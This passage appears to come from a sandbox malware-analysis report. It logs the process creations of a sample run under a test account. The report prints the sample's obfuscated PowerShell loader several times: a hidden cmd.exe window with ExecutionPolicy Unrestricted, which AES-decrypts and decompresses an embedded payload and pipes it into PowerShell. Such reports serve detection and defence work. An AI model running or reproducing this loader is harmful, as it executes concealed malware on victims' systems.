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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -
cmdline C:\Windows\System32\cmd.exe /c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 1720
thread_handle: 0x00000000000004f8
process_identifier: 564
current_directory: C:\Users\test22\Desktop
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000000000004f0
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = 'AAAAAAAAAAAAAAAAAAAAAAIbQTjOSbQZt9o3SjBvzvkQdn7hsQsxu+Eo4RJxOvcKUDqkEvEnbYuqy8cb9AUGZY/bTE9G0DaXqaOztLiEEq9fktIzUbjdF5LAwZRegBnPFtfDsKZEr6J06x7rtMKbm6YEiNN9EySla3HPdr2X9VJ+JkcJPrnWn6PBQFCaJhvPzraUI1Rd/PSXyY/5Z60co49LZUugmv4ULKu/jPpUzaBfiHJKm/aDB7Pzd9xz6OqzsOLvyhvtuwBfA0Gnuf9QdOrAdYHWUnHN7eNz+QkaBQJC/uKV7oaGgvw/GtaMYqOP7n7+ntn/cXfDujVOSQStVYkj8zZ5xaZMaAj9Y7z6R6U4ZUGaPVw7Hu9+8FMKVpWdQ+Wl6bijb6WUEdVzC3Rw7WgPR07I8n/DWPGfK2lDsq8+vC+y6xg7BbkUYypE+gYLfHWKaB8FUstAxEr4jGw4uzB07jleq8qghpPOP9G6Oo8bWdM271gu2hIOKk1B8RF8GKOd11k4Ybxc00mUqd50yseaJIBPgCu76aVgvZAh5B3/zURUMPrcI8YUXnnSUBCDkfz7QARbuoJ7H1Bhimr/z3qn7/+4CGnEqSWYNqEik3R+ZoL7acYKq9VcrJ5UWmdSowN8kt5NF70R9S4yCB2HwRGpqAXCKWVTF88mx4hNm+NMEm7Xe3H6fGuG13yycQV+B42fv/lRYorl/Tndn3OhZXp+DoBuOQhXWNuYB9Ln0L1Svw673r4jU6de481c1glkQ8JUoWiR3W+3dV211K4J+XRzk3VuphvXbkYDes2m2Hnfs9HnfMaHDStxryN10dqgEprWpziBLdAdR40QouOqQvZuE4Fe5LzxNumNRzjkBZSD1CFRSleMrmTZhULJPlNgDjZG9lVT88e0pw3jydVd6nH1uRdBN2rtiLGmntdWmTwwwcxg2eM+n2tAToY3vJLhfNZsS0fHebiZyzFG7SAq0/PgpwBewVxRGrnNx1d2hEGZeekv74dNG6oRaW/PAfTi7nbdZwG42iEgQBXbxhuy2nOHHGa3YSRbHZL0vSe6FvEqEVW55elo7+nmw91xwJ8IZho1DqVpF+EyyRFUu0kTYDnqUjauUZDv1anDSUSqFaTQRy1f+J295oiKgfapxd47z7vcZbsvOZX8z/WyyhLt9lp0+ma4M1n1Jq9QiM6yWfyXeM4eu67wrmxtz2f/8N/TmCwpncwEEKVflFbCN4X4ZiQONywVLEE3hxaN7EvE8bRAp3shomvROEsCNv6bveJlyekwUuExUAjvQugAC5Ndi7As6Axy3mGUZUs/j0MUiyu0UDB1kRNtiT+1teuEgVFHVU2mBlxiy9czF/n4FuqTF4Kwzd5xzaAjnD+es0JXbygU18Btt/TDwrDCH2+Rpi/xmw+